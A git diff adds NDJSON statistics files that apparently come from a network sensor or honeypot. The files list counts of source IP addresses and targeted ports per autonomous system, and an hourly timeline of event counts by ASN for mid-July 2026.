+{"doc_count":25,"key":5024} +{"doc_count":24,"key":5060} +{"doc_count":21,"key":22222} +{"doc_count":20,"key":5025} +{"doc_count":20,"key":5030} +{"doc_count":20,"key":5053} +{"doc_count":16,"key":5038} +{"doc_count":16,"key":5050} +{"doc_count":15,"key":5027} +{"doc_count":15,"key":5029} +{"doc_count":12,"key":443} +{"doc_count":11,"key":5045} +{"doc_count":10,"key":1723} +{"doc_count":10,"key":5026} +{"doc_count":7,"key":8080} +{"doc_count":6,"key":445} +{"doc_count":6,"key":5048} diff --git a/kevlar/2026-07-20/sponge/stat-as198953-ip.ndjson b/kevlar/2026-07-20/sponge/stat-as198953-ip.ndjson new file mode 100644 index 0000000..3815ce6 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as198953-ip.ndjson @@ -0,0 +1,12 @@ +{"doc_count":759,"key":"176.120.22.16"} +{"doc_count":407,"key":"176.120.22.61"} +{"doc_count":186,"key":"176.120.22.123"} +{"doc_count":66,"key":"176.120.22.122"} +{"doc_count":50,"key":"37.77.150.241"} +{"doc_count":16,"key":"37.77.150.67"} +{"doc_count":15,"key":"193.143.1.66"} +{"doc_count":12,"key":"176.120.22.192"} +{"doc_count":5,"key":"176.120.22.240"} +{"doc_count":4,"key":"37.77.150.70"} +{"doc_count":1,"key":"37.77.150.83"} +{"doc_count":1,"key":"176.120.22.147"} diff --git a/kevlar/2026-07-20/sponge/stat-as198953-port.ndjson b/kevlar/2026-07-20/sponge/stat-as198953-port.ndjson new file mode 100644 index 0000000..5704395 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as198953-port.ndjson @@ -0,0 +1,20 @@ +{"doc_count":180,"key":443} +{"doc_count":55,"key":22} +{"doc_count":26,"key":1433} +{"doc_count":23,"key":3389} +{"doc_count":20,"key":0} +{"doc_count":15,"key":7406} +{"doc_count":15,"key":12345} +{"doc_count":14,"key":43} +{"doc_count":14,"key":1434} +{"doc_count":14,"key":1500} +{"doc_count":14,"key":1501} +{"doc_count":14,"key":1800} +{"doc_count":14,"key":2008} +{"doc_count":14,"key":3005} +{"doc_count":14,"key":3333} +{"doc_count":14,"key":4433} +{"doc_count":14,"key":4443} +{"doc_count":14,"key":5000} +{"doc_count":14,"key":5005} +{"doc_count":14,"key":5678} diff --git a/kevlar/2026-07-20/sponge/stat-as200593-ip.ndjson b/kevlar/2026-07-20/sponge/stat-as200593-ip.ndjson new file mode 100644 index 0000000..51657b0 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as200593-ip.ndjson @@ -0,0 +1,3 @@ +{"doc_count":271,"key":"91.202.233.79"} +{"doc_count":23,"key":"91.215.85.193"} +{"doc_count":3,"key":"91.215.85.104"} diff --git a/kevlar/2026-07-20/sponge/stat-as200593-port.ndjson b/kevlar/2026-07-20/sponge/stat-as200593-port.ndjson new file mode 100644 index 0000000..7960c85 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as200593-port.ndjson @@ -0,0 +1,20 @@ +{"doc_count":6,"key":443} +{"doc_count":2,"key":135} +{"doc_count":2,"key":445} +{"doc_count":2,"key":1433} +{"doc_count":2,"key":1434} +{"doc_count":2,"key":1723} +{"doc_count":2,"key":3128} +{"doc_count":2,"key":3306} +{"doc_count":2,"key":3390} +{"doc_count":2,"key":3489} +{"doc_count":2,"key":4321} +{"doc_count":2,"key":4444} +{"doc_count":2,"key":5432} +{"doc_count":2,"key":5555} +{"doc_count":2,"key":5900} +{"doc_count":2,"key":5901} +{"doc_count":2,"key":6666} +{"doc_count":2,"key":7777} +{"doc_count":2,"key":8000} +{"doc_count":2,"key":8001} diff --git a/kevlar/2026-07-20/sponge/stat-as200651-ip.ndjson b/kevlar/2026-07-20/sponge/stat-as200651-ip.ndjson new file mode 100644 index 0000000..a5c61d8 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as200651-ip.ndjson @@ -0,0 +1,4 @@ +{"doc_count":39,"key":"185.100.87.136"} +{"doc_count":20,"key":"185.100.84.174"} +{"doc_count":3,"key":"185.100.84.164"} +{"doc_count":1,"key":"37.228.129.67"} diff --git a/kevlar/2026-07-20/sponge/stat-as200651-port.ndjson b/kevlar/2026-07-20/sponge/stat-as200651-port.ndjson new file mode 100644 index 0000000..0fbfcf0 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as200651-port.ndjson @@ -0,0 +1,8 @@ +{"doc_count":20,"key":22} +{"doc_count":11,"key":80} +{"doc_count":10,"key":443} +{"doc_count":9,"key":444} +{"doc_count":9,"key":2222} +{"doc_count":2,"key":5632} +{"doc_count":1,"key":0} +{"doc_count":1,"key":5631} diff --git a/kevlar/2026-07-20/sponge/stat-as209847-ip.ndjson b/kevlar/2026-07-20/sponge/stat-as209847-ip.ndjson new file mode 100644 index 0000000..ba9f64b --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as209847-ip.ndjson @@ -0,0 +1 @@ +{"doc_count":998,"key":"45.144.28.70"} diff --git a/kevlar/2026-07-20/sponge/stat-as209847-port.ndjson b/kevlar/2026-07-20/sponge/stat-as209847-port.ndjson new file mode 100644 index 0000000..82bd121 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as209847-port.ndjson @@ -0,0 +1,20 @@ +{"doc_count":55,"key":443} +{"doc_count":51,"key":8443} +{"doc_count":50,"key":2096} +{"doc_count":48,"key":2053} +{"doc_count":44,"key":3000} +{"doc_count":44,"key":10000} +{"doc_count":43,"key":80} +{"doc_count":43,"key":2087} +{"doc_count":43,"key":5000} +{"doc_count":43,"key":7000} +{"doc_count":43,"key":8080} +{"doc_count":43,"key":9000} +{"doc_count":41,"key":2083} +{"doc_count":41,"key":8880} +{"doc_count":41,"key":54321} +{"doc_count":31,"key":8000} +{"doc_count":13,"key":1080} +{"doc_count":13,"key":2052} +{"doc_count":13,"key":2082} +{"doc_count":13,"key":2095} diff --git a/kevlar/2026-07-20/sponge/stat-as210644-ip.ndjson b/kevlar/2026-07-20/sponge/stat-as210644-ip.ndjson new file mode 100644 index 0000000..b72301e --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as210644-ip.ndjson @@ -0,0 +1,5 @@ +{"doc_count":6,"key":"62.60.231.45"} +{"doc_count":2,"key":"185.103.101.232"} +{"doc_count":1,"key":"46.226.162.236"} +{"doc_count":1,"key":"85.192.24.177"} +{"doc_count":1,"key":"89.22.229.92"} diff --git a/kevlar/2026-07-20/sponge/stat-as210644-port.ndjson b/kevlar/2026-07-20/sponge/stat-as210644-port.ndjson new file mode 100644 index 0000000..6407da5 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as210644-port.ndjson @@ -0,0 +1,9 @@ +{"doc_count":2,"key":8080} +{"doc_count":2,"key":10803} +{"doc_count":1,"key":443} +{"doc_count":1,"key":2323} +{"doc_count":1,"key":5101} +{"doc_count":1,"key":6969} +{"doc_count":1,"key":8086} +{"doc_count":1,"key":8088} +{"doc_count":1,"key":22273} diff --git a/kevlar/2026-07-20/sponge/stat-as211720-ip.ndjson b/kevlar/2026-07-20/sponge/stat-as211720-ip.ndjson new file mode 100644 index 0000000..0d59c01 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as211720-ip.ndjson @@ -0,0 +1 @@ +{"doc_count":12,"key":"185.231.33.46"} diff --git a/kevlar/2026-07-20/sponge/stat-as211720-port.ndjson b/kevlar/2026-07-20/sponge/stat-as211720-port.ndjson new file mode 100644 index 0000000..4bbb3a5 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as211720-port.ndjson @@ -0,0 +1,2 @@ +{"doc_count":7,"key":0} +{"doc_count":5,"key":1433} diff --git a/kevlar/2026-07-20/sponge/stat-as214940-ip.ndjson b/kevlar/2026-07-20/sponge/stat-as214940-ip.ndjson new file mode 100644 index 0000000..1b03740 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as214940-ip.ndjson @@ -0,0 +1,9 @@ +{"doc_count":326,"key":"77.83.39.86"} +{"doc_count":185,"key":"77.83.39.119"} +{"doc_count":44,"key":"77.83.39.42"} +{"doc_count":23,"key":"77.83.39.94"} +{"doc_count":12,"key":"77.83.39.169"} +{"doc_count":7,"key":"77.83.39.149"} +{"doc_count":3,"key":"77.83.39.8"} +{"doc_count":3,"key":"77.83.39.14"} +{"doc_count":1,"key":"45.144.212.40"} diff --git a/kevlar/2026-07-20/sponge/stat-as214940-port.ndjson b/kevlar/2026-07-20/sponge/stat-as214940-port.ndjson new file mode 100644 index 0000000..89feebf --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as214940-port.ndjson @@ -0,0 +1,5 @@ +{"doc_count":337,"key":25} +{"doc_count":130,"key":443} +{"doc_count":122,"key":80} +{"doc_count":10,"key":587} +{"doc_count":5,"key":2525} diff --git a/kevlar/2026-07-20/sponge/stat-as216139-ip.ndjson b/kevlar/2026-07-20/sponge/stat-as216139-ip.ndjson new file mode 100644 index 0000000..2b93fec --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as216139-ip.ndjson @@ -0,0 +1 @@ +{"doc_count":1,"key":"46.30.46.124"} diff --git a/kevlar/2026-07-20/sponge/stat-as216139-port.ndjson b/kevlar/2026-07-20/sponge/stat-as216139-port.ndjson new file mode 100644 index 0000000..3a9e02c --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as216139-port.ndjson @@ -0,0 +1 @@ +{"doc_count":1,"key":19898} diff --git a/kevlar/2026-07-20/sponge/stat-as30823-ip.ndjson b/kevlar/2026-07-20/sponge/stat-as30823-ip.ndjson new file mode 100644 index 0000000..efa46e3 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as30823-ip.ndjson @@ -0,0 +1 @@ +{"doc_count":8,"key":"41.216.188.21"} diff --git a/kevlar/2026-07-20/sponge/stat-as30823-port.ndjson b/kevlar/2026-07-20/sponge/stat-as30823-port.ndjson new file mode 100644 index 0000000..099d4f2 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as30823-port.ndjson @@ -0,0 +1,2 @@ +{"doc_count":5,"key":443} +{"doc_count":3,"key":80} diff --git a/kevlar/2026-07-20/sponge/stat-as33993-ip.ndjson b/kevlar/2026-07-20/sponge/stat-as33993-ip.ndjson new file mode 100644 index 0000000..08029fe --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as33993-ip.ndjson @@ -0,0 +1,2 @@ +{"doc_count":6,"key":"45.144.31.247"} +{"doc_count":1,"key":"45.150.64.125"} diff --git a/kevlar/2026-07-20/sponge/stat-as33993-port.ndjson b/kevlar/2026-07-20/sponge/stat-as33993-port.ndjson new file mode 100644 index 0000000..2f70c6b --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as33993-port.ndjson @@ -0,0 +1,2 @@ +{"doc_count":6,"key":22} +{"doc_count":1,"key":0} diff --git a/kevlar/2026-07-20/sponge/stat-as400992-ip.ndjson b/kevlar/2026-07-20/sponge/stat-as400992-ip.ndjson new file mode 100644 index 0000000..3639ea8 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as400992-ip.ndjson @@ -0,0 +1,6 @@ +{"doc_count":104,"key":"23.172.217.77"} +{"doc_count":72,"key":"185.121.15.184"} +{"doc_count":56,"key":"23.172.217.87"} +{"doc_count":21,"key":"193.46.218.82"} +{"doc_count":2,"key":"45.150.195.235"} +{"doc_count":1,"key":"185.218.19.75"} diff --git a/kevlar/2026-07-20/sponge/stat-as400992-port.ndjson b/kevlar/2026-07-20/sponge/stat-as400992-port.ndjson new file mode 100644 index 0000000..bbcf2fc --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as400992-port.ndjson @@ -0,0 +1,6 @@ +{"doc_count":91,"key":80} +{"doc_count":90,"key":443} +{"doc_count":72,"key":22} +{"doc_count":1,"key":2525} +{"doc_count":1,"key":49270} +{"doc_count":1,"key":54372} diff --git a/kevlar/2026-07-20/sponge/stat-as51396-ip.ndjson b/kevlar/2026-07-20/sponge/stat-as51396-ip.ndjson new file mode 100644 index 0000000..c68d3ac --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as51396-ip.ndjson @@ -0,0 +1,20 @@ +{"doc_count":13766,"key":"204.76.203.18"} +{"doc_count":3579,"key":"176.65.148.84"} +{"doc_count":2394,"key":"45.153.34.89"} +{"doc_count":2296,"key":"45.153.34.149"} +{"doc_count":2294,"key":"45.156.87.216"} +{"doc_count":2291,"key":"45.153.34.114"} +{"doc_count":1533,"key":"45.153.34.165"} +{"doc_count":1533,"key":"45.156.87.13"} +{"doc_count":1531,"key":"45.156.87.254"} +{"doc_count":1529,"key":"45.153.34.151"} +{"doc_count":1529,"key":"45.153.34.167"} +{"doc_count":1528,"key":"45.156.87.93"} +{"doc_count":1526,"key":"45.156.87.253"} +{"doc_count":910,"key":"45.156.87.178"} +{"doc_count":821,"key":"45.156.87.192"} +{"doc_count":766,"key":"45.153.34.235"} +{"doc_count":765,"key":"45.153.34.112"} +{"doc_count":765,"key":"45.153.34.161"} +{"doc_count":764,"key":"45.156.87.147"} +{"doc_count":763,"key":"45.153.34.181"} diff --git a/kevlar/2026-07-20/sponge/stat-as51396-port.ndjson b/kevlar/2026-07-20/sponge/stat-as51396-port.ndjson new file mode 100644 index 0000000..89a2ac9 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as51396-port.ndjson @@ -0,0 +1,20 @@ +{"doc_count":22967,"key":22} +{"doc_count":14094,"key":80} +{"doc_count":725,"key":8080} +{"doc_count":416,"key":27017} +{"doc_count":336,"key":5678} +{"doc_count":321,"key":0} +{"doc_count":302,"key":8888} +{"doc_count":277,"key":3306} +{"doc_count":265,"key":1080} +{"doc_count":264,"key":8081} +{"doc_count":258,"key":17000} +{"doc_count":240,"key":3128} +{"doc_count":237,"key":1081} +{"doc_count":232,"key":443} +{"doc_count":209,"key":82} +{"doc_count":209,"key":3000} +{"doc_count":208,"key":4145} +{"doc_count":200,"key":25565} +{"doc_count":187,"key":8082} +{"doc_count":179,"key":8899} diff --git a/kevlar/2026-07-20/sponge/stat-as51852-ip.ndjson b/kevlar/2026-07-20/sponge/stat-as51852-ip.ndjson new file mode 100644 index 0000000..31c6548 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as51852-ip.ndjson @@ -0,0 +1,20 @@ +{"doc_count":1036,"key":"179.43.134.114"} +{"doc_count":962,"key":"179.43.175.234"} +{"doc_count":643,"key":"179.43.175.236"} +{"doc_count":380,"key":"179.43.139.58"} +{"doc_count":128,"key":"179.43.133.154"} +{"doc_count":50,"key":"81.17.28.130"} +{"doc_count":39,"key":"179.43.168.58"} +{"doc_count":34,"key":"179.43.189.67"} +{"doc_count":21,"key":"179.43.175.238"} +{"doc_count":19,"key":"179.43.175.237"} +{"doc_count":18,"key":"179.43.175.239"} +{"doc_count":12,"key":"179.43.170.10"} +{"doc_count":11,"key":"31.7.63.12"} +{"doc_count":8,"key":"179.43.186.240"} +{"doc_count":4,"key":"179.43.163.66"} +{"doc_count":2,"key":"179.43.146.27"} +{"doc_count":2,"key":"179.43.175.68"} +{"doc_count":2,"key":"179.43.175.169"} +{"doc_count":1,"key":"141.255.165.88"} +{"doc_count":1,"key":"179.43.175.8"} diff --git a/kevlar/2026-07-20/sponge/stat-as51852-port.ndjson b/kevlar/2026-07-20/sponge/stat-as51852-port.ndjson new file mode 100644 index 0000000..e8d0bc3 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as51852-port.ndjson @@ -0,0 +1,20 @@ +{"doc_count":1163,"key":443} +{"doc_count":563,"key":80} +{"doc_count":518,"key":22} +{"doc_count":43,"key":8089} +{"doc_count":36,"key":8090} +{"doc_count":8,"key":1000} +{"doc_count":7,"key":81} +{"doc_count":7,"key":82} +{"doc_count":7,"key":83} +{"doc_count":7,"key":84} +{"doc_count":7,"key":87} +{"doc_count":7,"key":92} +{"doc_count":7,"key":666} +{"doc_count":7,"key":808} +{"doc_count":7,"key":999} +{"doc_count":7,"key":1029} +{"doc_count":7,"key":1080} +{"doc_count":7,"key":1081} +{"doc_count":7,"key":1088} +{"doc_count":7,"key":1099} diff --git a/kevlar/2026-07-20/sponge/stat-as57043-ip.ndjson b/kevlar/2026-07-20/sponge/stat-as57043-ip.ndjson new file mode 100644 index 0000000..0434325 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as57043-ip.ndjson @@ -0,0 +1,3 @@ +{"doc_count":3,"key":"191.101.113.207"} +{"doc_count":3,"key":"194.180.189.50"} +{"doc_count":1,"key":"82.26.91.137"} diff --git a/kevlar/2026-07-20/sponge/stat-as57043-port.ndjson b/kevlar/2026-07-20/sponge/stat-as57043-port.ndjson new file mode 100644 index 0000000..3fc3759 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as57043-port.ndjson @@ -0,0 +1,3 @@ +{"doc_count":3,"key":3389} +{"doc_count":3,"key":7681} +{"doc_count":1,"key":22} diff --git a/kevlar/2026-07-20/sponge/timeline-all-asns.ndjson b/kevlar/2026-07-20/sponge/timeline-all-asns.ndjson new file mode 100644 index 0000000..1584b4f --- /dev/null +++ b/kevlar/2026-07-20/sponge/timeline-all-asns.ndjson @@ -0,0 +1,845 @@ +{"doc_count":5634,"split_key":209334,"timestamp":"2026-07-13T10:00:00.000Z"} +{"doc_count":3189,"split_key":14061,"timestamp":"2026-07-13T10:00:00.000Z"} +{"doc_count":1547,"split_key":57724,"timestamp":"2026-07-13T10:00:00.000Z"} +{"doc_count":412,"split_key":37963,"timestamp":"2026-07-13T10:00:00.000Z"} +{"doc_count":335,"split_key":16509,"timestamp":"2026-07-13T10:00:00.000Z"} +{"doc_count":19705,"split_key":209334,"timestamp":"2026-07-13T11:00:00.000Z"} +{"doc_count":9063,"split_key":14061,"timestamp":"2026-07-13T11:00:00.000Z"} +{"doc_count":3262,"split_key":57724,"timestamp":"2026-07-13T11:00:00.000Z"} +{"doc_count":1482,"split_key":37963,"timestamp":"2026-07-13T11:00:00.000Z"} +{"doc_count":1284,"split_key":206264,"timestamp":"2026-07-13T11:00:00.000Z"} +{"doc_count":20940,"split_key":209334,"timestamp":"2026-07-13T12:00:00.000Z"} +{"doc_count":1944,"split_key":57724,"timestamp":"2026-07-13T12:00:00.000Z"} +{"doc_count":1060,"split_key":206264,"timestamp":"2026-07-13T12:00:00.000Z"} +{"doc_count":1039,"split_key":37963,"timestamp":"2026-07-13T12:00:00.000Z"} +{"doc_count":927,"split_key":198158,"timestamp":"2026-07-13T12:00:00.000Z"} +{"doc_count":20769,"split_key":209334,"timestamp":"2026-07-13T13:00:00.000Z"} +{"doc_count":1102,"split_key":206264,"timestamp":"2026-07-13T13:00:00.000Z"} +{"doc_count":993,"split_key":16509,"timestamp":"2026-07-13T13:00:00.000Z"} +{"doc_count":823,"split_key":51396,"timestamp":"2026-07-13T13:00:00.000Z"} +{"doc_count":739,"split_key":396982,"timestamp":"2026-07-13T13:00:00.000Z"} +{"doc_count":19477,"split_key":209334,"timestamp":"2026-07-13T14:00:00.000Z"} +{"doc_count":2547,"split_key":211590,"timestamp":"2026-07-13T14:00:00.000Z"} +{"doc_count":1450,"split_key":206264,"timestamp":"2026-07-13T14:00:00.000Z"} +{"doc_count":673,"split_key":37963,"timestamp":"2026-07-13T14:00:00.000Z"} +{"doc_count":600,"split_key":48678,"timestamp":"2026-07-13T14:00:00.000Z"} +{"doc_count":17071,"split_key":209334,"timestamp":"2026-07-13T15:00:00.000Z"} +{"doc_count":1476,"split_key":206264,"timestamp":"2026-07-13T15:00:00.000Z"} +{"doc_count":838,"split_key":212477,"timestamp":"2026-07-13T15:00:00.000Z"} +{"doc_count":735,"split_key":16509,"timestamp":"2026-07-13T15:00:00.000Z"} +{"doc_count":582,"split_key":135377,"timestamp":"2026-07-13T15:00:00.000Z"} +{"doc_count":15579,"split_key":209334,"timestamp":"2026-07-13T16:00:00.000Z"} +{"doc_count":1582,"split_key":206264,"timestamp":"2026-07-13T16:00:00.000Z"} +{"doc_count":1001,"split_key":137899,"timestamp":"2026-07-13T16:00:00.000Z"} +{"doc_count":661,"split_key":198158,"timestamp":"2026-07-13T16:00:00.000Z"} +{"doc_count":659,"split_key":16509,"timestamp":"2026-07-13T16:00:00.000Z"} +{"doc_count":14213,"split_key":209334,"timestamp":"2026-07-13T17:00:00.000Z"} +{"doc_count":3140,"split_key":211590,"timestamp":"2026-07-13T17:00:00.000Z"} +{"doc_count":1021,"split_key":206264,"timestamp":"2026-07-13T17:00:00.000Z"} +{"doc_count":865,"split_key":16509,"timestamp":"2026-07-13T17:00:00.000Z"} +{"doc_count":736,"split_key":396982,"timestamp":"2026-07-13T17:00:00.000Z"} +{"doc_count":14207,"split_key":209334,"timestamp":"2026-07-13T18:00:00.000Z"} +{"doc_count":3128,"split_key":211590,"timestamp":"2026-07-13T18:00:00.000Z"} +{"doc_count":1369,"split_key":206264,"timestamp":"2026-07-13T18:00:00.000Z"} +{"doc_count":848,"split_key":16509,"timestamp":"2026-07-13T18:00:00.000Z"} +{"doc_count":800,"split_key":141995,"timestamp":"2026-07-13T18:00:00.000Z"} +{"doc_count":13249,"split_key":209334,"timestamp":"2026-07-13T19:00:00.000Z"} +{"doc_count":3119,"split_key":211590,"timestamp":"2026-07-13T19:00:00.000Z"} +{"doc_count":1357,"split_key":206264,"timestamp":"2026-07-13T19:00:00.000Z"} +{"doc_count":1239,"split_key":8075,"timestamp":"2026-07-13T19:00:00.000Z"} +{"doc_count":833,"split_key":141995,"timestamp":"2026-07-13T19:00:00.000Z"} +{"doc_count":16168,"split_key":209334,"timestamp":"2026-07-13T20:00:00.000Z"} +{"doc_count":1378,"split_key":206264,"timestamp":"2026-07-13T20:00:00.000Z"} +{"doc_count":1132,"split_key":8075,"timestamp":"2026-07-13T20:00:00.000Z"} +{"doc_count":1089,"split_key":48090,"timestamp":"2026-07-13T20:00:00.000Z"} +{"doc_count":910,"split_key":198158,"timestamp":"2026-07-13T20:00:00.000Z"} +{"doc_count":10611,"split_key":209334,"timestamp":"2026-07-13T21:00:00.000Z"} +{"doc_count":2577,"split_key":211590,"timestamp":"2026-07-13T21:00:00.000Z"} +{"doc_count":1567,"split_key":206264,"timestamp":"2026-07-13T21:00:00.000Z"} +{"doc_count":1016,"split_key":396982,"timestamp":"2026-07-13T21:00:00.000Z"} +{"doc_count":763,"split_key":51396,"timestamp":"2026-07-13T21:00:00.000Z"} +{"doc_count":1704,"split_key":211590,"timestamp":"2026-07-13T22:00:00.000Z"} +{"doc_count":1601,"split_key":206264,"timestamp":"2026-07-13T22:00:00.000Z"} +{"doc_count":526,"split_key":16509,"timestamp":"2026-07-13T22:00:00.000Z"} +{"doc_count":475,"split_key":396982,"timestamp":"2026-07-13T22:00:00.000Z"} +{"doc_count":449,"split_key":141995,"timestamp":"2026-07-13T22:00:00.000Z"} +{"doc_count":3087,"split_key":211590,"timestamp":"2026-07-13T23:00:00.000Z"} +{"doc_count":1619,"split_key":206264,"timestamp":"2026-07-13T23:00:00.000Z"} +{"doc_count":792,"split_key":141995,"timestamp":"2026-07-13T23:00:00.000Z"} +{"doc_count":598,"split_key":37963,"timestamp":"2026-07-13T23:00:00.000Z"} +{"doc_count":548,"split_key":14061,"timestamp":"2026-07-13T23:00:00.000Z"} +{"doc_count":13089,"split_key":14987,"timestamp":"2026-07-14T00:00:00.000Z"} +{"doc_count":5517,"split_key":211590,"timestamp":"2026-07-14T00:00:00.000Z"} +{"doc_count":1600,"split_key":206264,"timestamp":"2026-07-14T00:00:00.000Z"} +{"doc_count":874,"split_key":141995,"timestamp":"2026-07-14T00:00:00.000Z"} +{"doc_count":682,"split_key":396982,"timestamp":"2026-07-14T00:00:00.000Z"} +{"doc_count":1783,"split_key":14061,"timestamp":"2026-07-14T01:00:00.000Z"} +{"doc_count":1603,"split_key":206264,"timestamp":"2026-07-14T01:00:00.000Z"} +{"doc_count":1166,"split_key":137899,"timestamp":"2026-07-14T01:00:00.000Z"} +{"doc_count":978,"split_key":396982,"timestamp":"2026-07-14T01:00:00.000Z"} +{"doc_count":920,"split_key":16509,"timestamp":"2026-07-14T01:00:00.000Z"} +{"doc_count":12921,"split_key":14061,"timestamp":"2026-07-14T02:00:00.000Z"} +{"doc_count":1644,"split_key":206264,"timestamp":"2026-07-14T02:00:00.000Z"} +{"doc_count":874,"split_key":51396,"timestamp":"2026-07-14T02:00:00.000Z"} +{"doc_count":700,"split_key":16509,"timestamp":"2026-07-14T02:00:00.000Z"} +{"doc_count":629,"split_key":396982,"timestamp":"2026-07-14T02:00:00.000Z"} +{"doc_count":19375,"split_key":14061,"timestamp":"2026-07-14T03:00:00.000Z"} +{"doc_count":1564,"split_key":206264,"timestamp":"2026-07-14T03:00:00.000Z"} +{"doc_count":1207,"split_key":51396,"timestamp":"2026-07-14T03:00:00.000Z"} +{"doc_count":1168,"split_key":211590,"timestamp":"2026-07-14T03:00:00.000Z"} +{"doc_count":824,"split_key":16509,"timestamp":"2026-07-14T03:00:00.000Z"} +{"doc_count":15360,"split_key":14061,"timestamp":"2026-07-14T04:00:00.000Z"} +{"doc_count":3215,"split_key":211590,"timestamp":"2026-07-14T04:00:00.000Z"} +{"doc_count":1612,"split_key":206264,"timestamp":"2026-07-14T04:00:00.000Z"} +{"doc_count":1397,"split_key":25369,"timestamp":"2026-07-14T04:00:00.000Z"} +{"doc_count":1208,"split_key":51396,"timestamp":"2026-07-14T04:00:00.000Z"} +{"doc_count":11824,"split_key":14061,"timestamp":"2026-07-14T05:00:00.000Z"} +{"doc_count":6198,"split_key":211590,"timestamp":"2026-07-14T05:00:00.000Z"} +{"doc_count":1552,"split_key":206264,"timestamp":"2026-07-14T05:00:00.000Z"} +{"doc_count":1241,"split_key":25369,"timestamp":"2026-07-14T05:00:00.000Z"} +{"doc_count":1071,"split_key":396982,"timestamp":"2026-07-14T05:00:00.000Z"} +{"doc_count":11821,"split_key":14061,"timestamp":"2026-07-14T06:00:00.000Z"} +{"doc_count":1463,"split_key":206264,"timestamp":"2026-07-14T06:00:00.000Z"} +{"doc_count":973,"split_key":25369,"timestamp":"2026-07-14T06:00:00.000Z"} +{"doc_count":750,"split_key":209334,"timestamp":"2026-07-14T06:00:00.000Z"} +{"doc_count":686,"split_key":16509,"timestamp":"2026-07-14T06:00:00.000Z"} +{"doc_count":13797,"split_key":209334,"timestamp":"2026-07-14T07:00:00.000Z"} +{"doc_count":11400,"split_key":14061,"timestamp":"2026-07-14T07:00:00.000Z"} +{"doc_count":2214,"split_key":211590,"timestamp":"2026-07-14T07:00:00.000Z"} +{"doc_count":1695,"split_key":206264,"timestamp":"2026-07-14T07:00:00.000Z"} +{"doc_count":725,"split_key":24940,"timestamp":"2026-07-14T07:00:00.000Z"} +{"doc_count":18719,"split_key":209334,"timestamp":"2026-07-14T08:00:00.000Z"} +{"doc_count":11983,"split_key":206264,"timestamp":"2026-07-14T08:00:00.000Z"} +{"doc_count":10896,"split_key":14061,"timestamp":"2026-07-14T08:00:00.000Z"} +{"doc_count":2520,"split_key":202412,"timestamp":"2026-07-14T08:00:00.000Z"} +{"doc_count":1616,"split_key":25198,"timestamp":"2026-07-14T08:00:00.000Z"} +{"doc_count":21738,"split_key":209334,"timestamp":"2026-07-14T09:00:00.000Z"} +{"doc_count":11519,"split_key":14061,"timestamp":"2026-07-14T09:00:00.000Z"} +{"doc_count":7188,"split_key":206264,"timestamp":"2026-07-14T09:00:00.000Z"} +{"doc_count":923,"split_key":25198,"timestamp":"2026-07-14T09:00:00.000Z"} +{"doc_count":856,"split_key":396982,"timestamp":"2026-07-14T09:00:00.000Z"} +{"doc_count":19789,"split_key":209334,"timestamp":"2026-07-14T10:00:00.000Z"} +{"doc_count":10790,"split_key":14061,"timestamp":"2026-07-14T10:00:00.000Z"} +{"doc_count":6942,"split_key":206264,"timestamp":"2026-07-14T10:00:00.000Z"} +{"doc_count":1425,"split_key":47583,"timestamp":"2026-07-14T10:00:00.000Z"} +{"doc_count":1406,"split_key":137899,"timestamp":"2026-07-14T10:00:00.000Z"} +{"doc_count":18842,"split_key":209334,"timestamp":"2026-07-14T11:00:00.000Z"} +{"doc_count":11938,"split_key":48090,"timestamp":"2026-07-14T11:00:00.000Z"} +{"doc_count":9568,"split_key":14061,"timestamp":"2026-07-14T11:00:00.000Z"} +{"doc_count":8777,"split_key":206264,"timestamp":"2026-07-14T11:00:00.000Z"} +{"doc_count":2350,"split_key":50360,"timestamp":"2026-07-14T11:00:00.000Z"} +{"doc_count":19557,"split_key":209334,"timestamp":"2026-07-14T12:00:00.000Z"} +{"doc_count":10840,"split_key":206264,"timestamp":"2026-07-14T12:00:00.000Z"} +{"doc_count":9831,"split_key":14061,"timestamp":"2026-07-14T12:00:00.000Z"} +{"doc_count":2604,"split_key":50360,"timestamp":"2026-07-14T12:00:00.000Z"} +{"doc_count":1285,"split_key":53427,"timestamp":"2026-07-14T12:00:00.000Z"} +{"doc_count":20570,"split_key":209334,"timestamp":"2026-07-14T13:00:00.000Z"} +{"doc_count":9734,"split_key":14061,"timestamp":"2026-07-14T13:00:00.000Z"} +{"doc_count":6561,"split_key":206264,"timestamp":"2026-07-14T13:00:00.000Z"} +{"doc_count":1550,"split_key":45102,"timestamp":"2026-07-14T13:00:00.000Z"} +{"doc_count":1364,"split_key":201401,"timestamp":"2026-07-14T13:00:00.000Z"} +{"doc_count":24640,"split_key":206264,"timestamp":"2026-07-14T14:00:00.000Z"} +{"doc_count":17978,"split_key":209334,"timestamp":"2026-07-14T14:00:00.000Z"} +{"doc_count":10014,"split_key":14061,"timestamp":"2026-07-14T14:00:00.000Z"} +{"doc_count":3017,"split_key":211590,"timestamp":"2026-07-14T14:00:00.000Z"} +{"doc_count":1524,"split_key":45102,"timestamp":"2026-07-14T14:00:00.000Z"} 